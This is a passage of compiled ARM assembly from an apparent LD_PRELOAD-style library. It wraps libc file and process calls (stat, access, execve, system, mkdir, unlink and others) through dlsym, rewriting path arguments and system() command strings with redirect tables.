ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L68
bl __stack_chk_fail
.L68:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L70:
.align 2
.L69:
.word .LC15
.word .LC14
.size __xstat, .-__xstat
.section .rodata
.align 2
.LC16:
.ascii "__xstat64\000"
.align 2
.LC17:
.word __stack_chk_guard
.text
.align 2
.global __xstat64
.syntax unified
.arm
.fpu softvfp
.type __xstat64, %function
__xstat64:
@ args = 0, pretend = 0, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #24
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
sub r3, fp, #4096
sub r3, r3, #4
str r1, [r3, #-16]
sub r3, fp, #4096
sub r3, r3, #4
str r2, [r3, #-20]
ldr r3, .L74
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L74+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-16]
bl rewrite
mov r1, r0
sub r3, fp, #4096
sub r3, r3, #4
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #4
mov r0, r3
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
ldr r2, [r2, #-20]
ldr r0, [r0, #-12]
blx r3
mov r3, r0
ldr r2, .L74
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L73
bl __stack_chk_fail
.L73:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L75:
.align 2
.L74:
.word .LC17
.word .LC16
.size __xstat64, .-__xstat64
.section .rodata
.align 2
.LC18:
.ascii "stat\000"
.align 2
.LC19:
.word __stack_chk_guard
.text
.align 2
.global stat
.syntax unified
.arm
.fpu softvfp
.type stat, %function
stat:
@ args = 0, pretend = 0, frame = 4112
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #16
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
sub r3, fp, #4096
sub r3, r3, #4
str r1, [r3, #-16]
ldr r3, .L79
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L79+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-12]
bl rewrite
mov r2, r0
sub r3, fp, #4096
sub r3, r3, #4
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
ldr r1, [r1, #-16]
mov r0, r2
blx r3
mov r3, r0
ldr r2, .L79
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L78
bl __stack_chk_fail
.L78:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L80:
.align 2
.L79:
.word .LC19
.word .LC18
.size stat, .-stat
.section .rodata
.align 2
.LC20:
.ascii "access\000"
.align 2
.LC21:
.word __stack_chk_guard
.text
.align 2
.global access
.syntax unified
.arm
.fpu softvfp
.type access, %function
access:
@ args = 0, pretend = 0, frame = 4112
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #16
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
sub r3, fp, #4096
sub r3, r3, #4
str r1, [r3, #-16]
ldr r3, .L84
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L84+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-12]
bl rewrite
mov r2, r0
sub r3, fp, #4096
sub r3, r3, #4
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
ldr r1, [r1, #-16]
mov r0, r2
blx r3
mov r3, r0
ldr r2, .L84
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L83
bl __stack_chk_fail
.L83:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L85:
.align 2
.L84:
.word .LC21
.word .LC20
.size access, .-access
.section .rodata
.align 2
.LC22:
.ascii "posix_spawn\000"
.align 2
.LC23:
.word __stack_chk_guard
.text
.align 2
.global posix_spawn
.syntax unified
.arm
.fpu softvfp
.type posix_spawn, %function
posix_spawn:
@ args = 8, pretend = 0, frame = 4128
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #4096
sub sp, sp, #44
sub ip, fp, #4096
sub ip, ip, #12
str r0, [ip, #-12]
sub r0, fp, #4096
sub r0, r0, #12
str r1, [r0, #-16]
sub r1, fp, #4096
sub r1, r1, #12
str r2, [r1, #-20]
sub r2, fp, #4096
sub r2, r2, #12
str r3, [r2, #-24]
sub r3, fp, #4096
sub r3, r3, #12
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
ldr r3, [fp, #4]
str r3, [r1, #-28]
ldr r3, [fp, #8]
str r3, [r2, #-32]
ldr r3, .L89
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r1, .L89+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #12
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #12
mov r1, r3
ldr r0, [r2, #-16]
bl rewrite
mov r1, r0
sub r3, fp, #4096
sub r3, r3, #12
mov ip, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r0, r3
sub r3, fp, #4096
sub r3, r3, #12
mov lr, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-32]
str r3, [sp, #4]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-28]
str r3, [sp]
ldr r4, [lr, #-8]
ldr r3, [ip, #-24]
ldr r2, [r2, #-20]
ldr r0, [r0, #-12]
blx r4
mov r3, r0
ldr r2, .L89
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L88
bl __stack_chk_fail
.L88:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L90:
.align 2
.L89:
.word .LC23
.word .LC22
.size posix_spawn, .-posix_spawn
.section .rodata
.align 2
.LC24:
.ascii "posix_spawnp\000"
.align 2
.LC25:
.word __stack_chk_guard
.text
.align 2
.global posix_spawnp
.syntax unified
.arm
.fpu softvfp
.type posix_spawnp, %function
posix_spawnp:
@ args = 8, pretend = 0, frame = 4128
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #4096
sub sp, sp, #44
sub ip, fp, #4096
sub ip, ip, #12
str r0, [ip, #-12]
sub r0, fp, #4096
sub r0, r0, #12
str r1, [r0, #-16]
sub r1, fp, #4096
sub r1, r1, #12
str r2, [r1, #-20]
sub r2, fp, #4096
sub r2, r2, #12
str r3, [r2, #-24]
sub r3, fp, #4096
sub r3, r3, #12
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
ldr r3, [fp, #4]
str r3, [r1, #-28]
ldr r3, [fp, #8]
str r3, [r2, #-32]
ldr r3, .L94
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r1, .L94+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #12
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #12
mov r1, r3
ldr r0, [r2, #-16]
bl rewrite
mov r1, r0
sub r3, fp, #4096
sub r3, r3, #12
mov ip, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r0, r3
sub r3, fp, #4096
sub r3, r3, #12
mov lr, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-32]
str r3, [sp, #4]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-28]
str r3, [sp]
ldr r4, [lr, #-8]
ldr r3, [ip, #-24]
ldr r2, [r2, #-20]
ldr r0, [r0, #-12]
blx r4
mov r3, r0
ldr r2, .L94
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L93
bl __stack_chk_fail
.L93:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L95:
.align 2
.L94:
.word .LC25
.word .LC24
.size posix_spawnp, .-posix_spawnp
.section .rodata
.align 2
.LC26:
.ascii "execv\000"
.align 2
.LC27:
.word __stack_chk_guard
.text
.align 2
.global execv
.syntax unified
.arm
.fpu softvfp
.type execv, %function
execv:
@ args = 0, pretend = 0, frame = 4112
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #16
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
sub r3, fp, #4096
sub r3, r3, #4
str r1, [r3, #-16]
ldr r3, .L99
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L99+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-12]
bl rewrite
mov r2, r0
sub r3, fp, #4096
sub r3, r3, #4
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
ldr r1, [r1, #-16]
mov r0, r2
blx r3
mov r3, r0
ldr r2, .L99
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L98
bl __stack_chk_fail
.L98:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L100:
.align 2
.L99:
.word .LC27
.word .LC26
.size execv, .-execv
.section .rodata
.align 2
.LC28:
.ascii "execvp\000"
.align 2
.LC29:
.word __stack_chk_guard
.text
.align 2
.global execvp
.syntax unified
.arm
.fpu softvfp
.type execvp, %function
execvp:
@ args = 0, pretend = 0, frame = 4112
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #16
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
sub r3, fp, #4096
sub r3, r3, #4
str r1, [r3, #-16]
ldr r3, .L104
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L104+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-12]
bl rewrite
mov r2, r0
sub r3, fp, #4096
sub r3, r3, #4
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
ldr r1, [r1, #-16]
mov r0, r2
blx r3
mov r3, r0
ldr r2, .L104
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L103
bl __stack_chk_fail
.L103:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L105:
.align 2
.L104:
.word .LC29
.word .LC28
.size execvp, .-execvp
.section .rodata
.align 2
.LC30:
.ascii "execve\000"
.align 2
.LC31:
.word __stack_chk_guard
.text
.align 2
.global execve
.syntax unified
.arm
.fpu softvfp
.type execve, %function
execve:
@ args = 0, pretend = 0, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #24
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
sub r3, fp, #4096
sub r3, r3, #4
str r1, [r3, #-16]
sub r3, fp, #4096
sub r3, r3, #4
str r2, [r3, #-20]
ldr r3, .L109
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L109+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-12]
bl rewrite
sub r3, fp, #4096
sub r3, r3, #4
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #4
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
ldr r2, [r2, #-20]
ldr r1, [r1, #-16]
blx r3
mov r3, r0
ldr r2, .L109
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L108
bl __stack_chk_fail
.L108:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L110:
.align 2
.L109:
.word .LC31
.word .LC30
.size execve, .-execve
.section .rodata
.align 2
.LC32:
.ascii "opendir\000"
.align 2
.LC33:
.word __stack_chk_guard
.text
.align 2
.global opendir
.syntax unified
.arm
.fpu softvfp
.type opendir, %function
opendir:
@ args = 0, pretend = 0, frame = 4112
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #16
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
ldr r3, .L114
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L114+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-12]
bl rewrite
mov r2, r0
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
mov r0, r2
blx r3
mov r3, r0
ldr r2, .L114
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L113
bl __stack_chk_fail
.L113:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L115:
.align 2
.L114:
.word .LC33
.word .LC32
.size opendir, .-opendir
.section .rodata
.align 2
.LC34:
.ascii "%s%s%s\000"
.align 2
.LC35:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type replace_substring, %function
replace_substring:
@ args = 4, pretend = 0, frame = 1056
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #1056
sub sp, sp, #8
str r0, [fp, #-1040]
str r1, [fp, #-1044]
str r2, [fp, #-1048]
str r3, [fp, #-1052]
ldr r3, [fp, #4]
str r3, [fp, #-1056]
ldr r3, .L120
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-1032]
sub r3, fp, #1024
sub r3, r3, #4
mov r2, #508
mov r1, #0
mov r0, r3
bl memset
ldr r2, [fp, #-1052]
ldr r3, [fp, #-1040]
sub r3, r2, r3
mov r2, r3
sub r3, fp, #1024
sub r3, r3, #4
sub r3, r3, #4
ldr r1, [fp, #-1040]
mov r0, r3
bl strncpy
mov r3, #0
str r3, [fp, #-520]
sub r3, fp, #516
mov r2, #508
mov r1, #0
mov r0, r3
bl memset
ldr r0, [fp, #-1040]
bl strlen
mov r2, r0
ldr r3, [fp, #-1040]
add r3, r3, r2
ldr r2, [fp, #-1056]
cmp r2, r3
bcs .L117
sub r3, fp, #520
ldr r1, [fp, #-1056]
mov r0, r3
bl strcpy
.L117:
sub r2, fp, #1024
sub r2, r2, #4
sub r2, r2, #4
sub r3, fp, #520
str r3, [sp]
ldr r3, [fp, #-1048]
ldr r1, .L120+4
ldr r0, [fp, #-1044]
bl sprintf
ldr r3, [fp, #-1044]
ldr r2, .L120
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L119
bl __stack_chk_fail
.L119:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L121:
.align 2
.L120:
.word .LC35
.word .LC34
.size replace_substring, .-replace_substring
.section .rodata
.align 2
.LC36:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type replace_string, %function
replace_string:
@ args = 0, pretend = 0, frame = 2608
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #2608
sub sp, sp, #12
str r0, [fp, #-2608]
str r1, [fp, #-2612]
str r2, [fp, #-2616]
ldr r3, .L132
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, #0
str r3, [fp, #-2604]
ldr r0, [fp, #-2612]
bl strlen
mov r3, r0
str r3, [fp, #-2588]
mov r3, #0
str r3, [fp, #-2600]
b .L123
.L125:
ldr r3, [fp, #-2600]
ldr r2, [fp, #-2608]
add r3, r2, r3
str r3, [fp, #-2580]
ldr r3, [fp, #-2588]
mov r2, r3
ldr r1, [fp, #-2580]
ldr r0, [fp, #-2612]
bl strncmp
mov r3, r0
cmp r3, #0
bne .L124
ldr r3, [fp, #-2604]
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r2, [fp, #-2580]
str r2, [r3, #-2564]
ldr r3, [fp, #-2604]
add r3, r3, #1
str r3, [fp, #-2604]
.L124:
ldr r3, [fp, #-2600]
add r3, r3, #1
str r3, [fp, #-2600]
.L123:
ldr r0, [fp, #-2608]
bl strlen
mov r2, r0
ldr r3, [fp, #-2600]
cmp r2, r3
bhi .L125
ldr r0, [fp, #-2616]
bl strlen
mov r4, r0
ldr r0, [fp, #-2612]
bl strlen
mov r3, r0
sub r3, r4, r3
str r3, [fp, #-2584]
mov r3, #0
str r3, [fp, #-2596]
b .L126
.L129:
ldr r3, [fp, #-2596]
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r0, [r3, #-2564]
ldr r3, [fp, #-2596]
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r2, [r3, #-2564]
ldr r3, [fp, #-2588]
add r3, r2, r3
sub r1, fp, #528
str r3, [sp]
mov r3, r0
ldr r2, [fp, #-2616]
ldr r0, [fp, #-2608]
bl replace_substring
sub r3, fp, #528
mov r1, r3
ldr r0, [fp, #-2608]
bl strcpy
ldr r3, [fp, #-2596]
add r3, r3, #1
str r3, [fp, #-2592]
b .L127
.L128:
ldr r3, [fp, #-2592]
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r2, [r3, #-2564]
ldr r3, [fp, #-2584]
add r2, r2, r3
ldr r3, [fp, #-2592]
lsl r3, r3, #2
sub r1, fp, #12
add r3, r1, r3
str r2, [r3, #-2564]
ldr r3, [fp, #-2592]
add r3, r3, #1
str r3, [fp, #-2592]
.L127:
ldr r2, [fp, #-2592]
ldr r3, [fp, #-2604]
cmp r2, r3
blt .L128
ldr r3, [fp, #-2596]
add r3, r3, #1
str r3, [fp, #-2596]
.L126:
ldr r2, [fp, #-2596]
ldr r3, [fp, #-2604]
cmp r2, r3
blt .L129
ldr r3, [fp, #-2608]
ldr r2, .L132
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L131
bl __stack_chk_fail
.L131:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L133:
.align 2
.L132:
.word .LC36
.size replace_string, .-replace_string
.align 2
.syntax unified
.arm
.fpu softvfp
.type rewriteSystemCall, %function
rewriteSystemCall:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-20]
str r3, [fp, #-8]
ldr r1, [fp, #-16]
ldr r0, [fp, #-8]
bl strcpy
mov r3, #0
str r3, [fp, #-12]
b .L135
.L136:
ldr r2, .L137
ldr r3, [fp, #-12]
ldr r1, [r2, r3, lsl #2]
ldr r2, .L137+4
ldr r3, [fp, #-12]
ldr r3, [r2, r3, lsl #2]
mov r2, r3
ldr r0, [fp, #-20]
bl replace_string
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L135:
ldr r3, .L137+8
ldr r3, [r3]
ldr r2, [fp, #-12]
cmp r2, r3
blt .L136
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L138:
.align 2
.L137:
.word from
.word to
.word nrRedirects
.size rewriteSystemCall, .-rewriteSystemCall
.section .rodata
.align 2
.LC37:
.ascii "system\000"
.align 2
.LC38:
.word __stack_chk_guard
.text
.align 2
.global system
.syntax unified
.arm
.fpu softvfp
.type system, %function
system:
@ args = 0, pretend = 0, frame = 528
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #528
str r0, [fp, #-528]
ldr r3, .L142
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L142+4
mvn r0, #0
bl dlsym
mov r3, r0
str r3, [fp, #-524]
sub r3, fp, #520
mov r1, r3
ldr r0, [fp, #-528]
bl rewriteSystemCall
sub r2, fp, #520
ldr r3, [fp, #-524]
mov r0, r2
blx r3
mov r3, r0
ldr r2, .L142
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L141
bl __stack_chk_fail
.L141:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L143:
.align 2
.L142:
.word .LC38
.word .LC37
.size system, .-system
.section .rodata
.align 2
.LC39:
.ascii "mkdir\000"
.align 2
.LC40:
.word __stack_chk_guard
.text
.align 2
.global mkdir
.syntax unified
.arm
.fpu softvfp
.type mkdir, %function
mkdir:
@ args = 0, pretend = 0, frame = 4112
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #16
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
sub r3, fp, #4096
sub r3, r3, #4
str r1, [r3, #-16]
ldr r3, .L147
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L147+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-12]
bl rewrite
mov r2, r0
sub r3, fp, #4096
sub r3, r3, #4
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
ldr r1, [r1, #-16]
mov r0, r2
blx r3
mov r3, r0
ldr r2, .L147
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L146
bl __stack_chk_fail
.L146:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L148:
.align 2
.L147:
.word .LC40
.word .LC39
.size mkdir, .-mkdir
.section .rodata
.align 2
.LC41:
.ascii "mkdirat\000"
.align 2
.LC42:
.word __stack_chk_guard
.text
.align 2
.global mkdirat
.syntax unified
.arm
.fpu softvfp
.type mkdirat, %function
mkdirat:
@ args = 0, pretend = 0, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #24
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
sub r3, fp, #4096
sub r3, r3, #4
str r1, [r3, #-16]
sub r3, fp, #4096
sub r3, r3, #4
str r2, [r3, #-20]
ldr r3, .L152
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L152+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-16]
bl rewrite
mov r1, r0
sub r3, fp, #4096
sub r3, r3, #4
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #4
mov r0, r3
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
ldr r2, [r2, #-20]
ldr r0, [r0, #-12]
blx r3
mov r3, r0
ldr r2, .L152
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L151
bl __stack_chk_fail
.L151:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L153:
.align 2
.L152:
.word .LC42
.word .LC41
.size mkdirat, .-mkdirat
.section .rodata
.align 2
.LC43:
.ascii "unlink\000"
.align 2
.LC44:
.word __stack_chk_guard
.text
.align 2
.global unlink
.syntax unified
.arm
.fpu softvfp
.type unlink, %function
unlink:
@ args = 0, pretend = 0, frame = 4112
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #16
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
ldr r3, .L157
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L157+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-12]
bl rewrite
mov r2, r0
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
mov r0, r2
blx r3
mov r3, r0
ldr r2, .L157
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L156
bl __stack_chk_fail
.L156:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L158:
.align 2
.L157:
.word .LC44
.word .LC43
.size unlink, .-unlink
.section .rodata
.align 2
.LC45:
.ascii "unlinkat\000"
.align 2
.LC46:
.word __stack_chk_guard
.text
.align 2
.global unlinkat
.syntax unified
.arm
.fpu softvfp
.type unlinkat, %function
unlinkat:
@ args = 0, pretend = 0, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #24
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
sub r3, fp, #4096
sub r3, r3, #4
str r1, [r3, #-16]
sub r3, fp, #4096
sub r3, r3, #4
str r2, [r3, #-20]
ldr r3, .L162
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L162+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-16]
bl rewrite
mov r1, r0
sub r3, fp, #4096
sub r3, r3, #4
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #4
mov r0, r3
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
ldr r2, [r2, #-20]
ldr r0, [r0, #-12]
blx r3
mov r3, r0
ldr r2, .L162
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L161
bl __stack_chk_fail
.L161:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L163:
.align 2
.L162:
.word .LC46
.word .LC45
.size unlinkat, .-unlinkat
.section .rodata
.align 2
.LC47:
.ascii "rmdir\000"
.align 2
.LC48:
.word __stack_chk_guard
.text
.align 2
.global rmdir
.syntax unified
.arm
.fpu softvfp
.type rmdir, %function
rmdir:
@ args = 0, pretend = 0, frame = 4112
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #16
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
ldr r3, .L167
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L167+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-12]
bl rewrite
mov r2, r0
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
mov r0, r2
blx r3
mov r3, r0
ldr r2, .L167
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L166
bl __stack_chk_fail
.L166:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L168:
.align 2
.L167:
.word .LC48
.word .LC47
.size rmdir, .-rmdir
.align 2
.syntax unified
.arm
.fpu softvfp
.type copy_temp_wildcard, %function
copy_temp_wildcard:
@ args = 0, pretend = 0, frame = 24
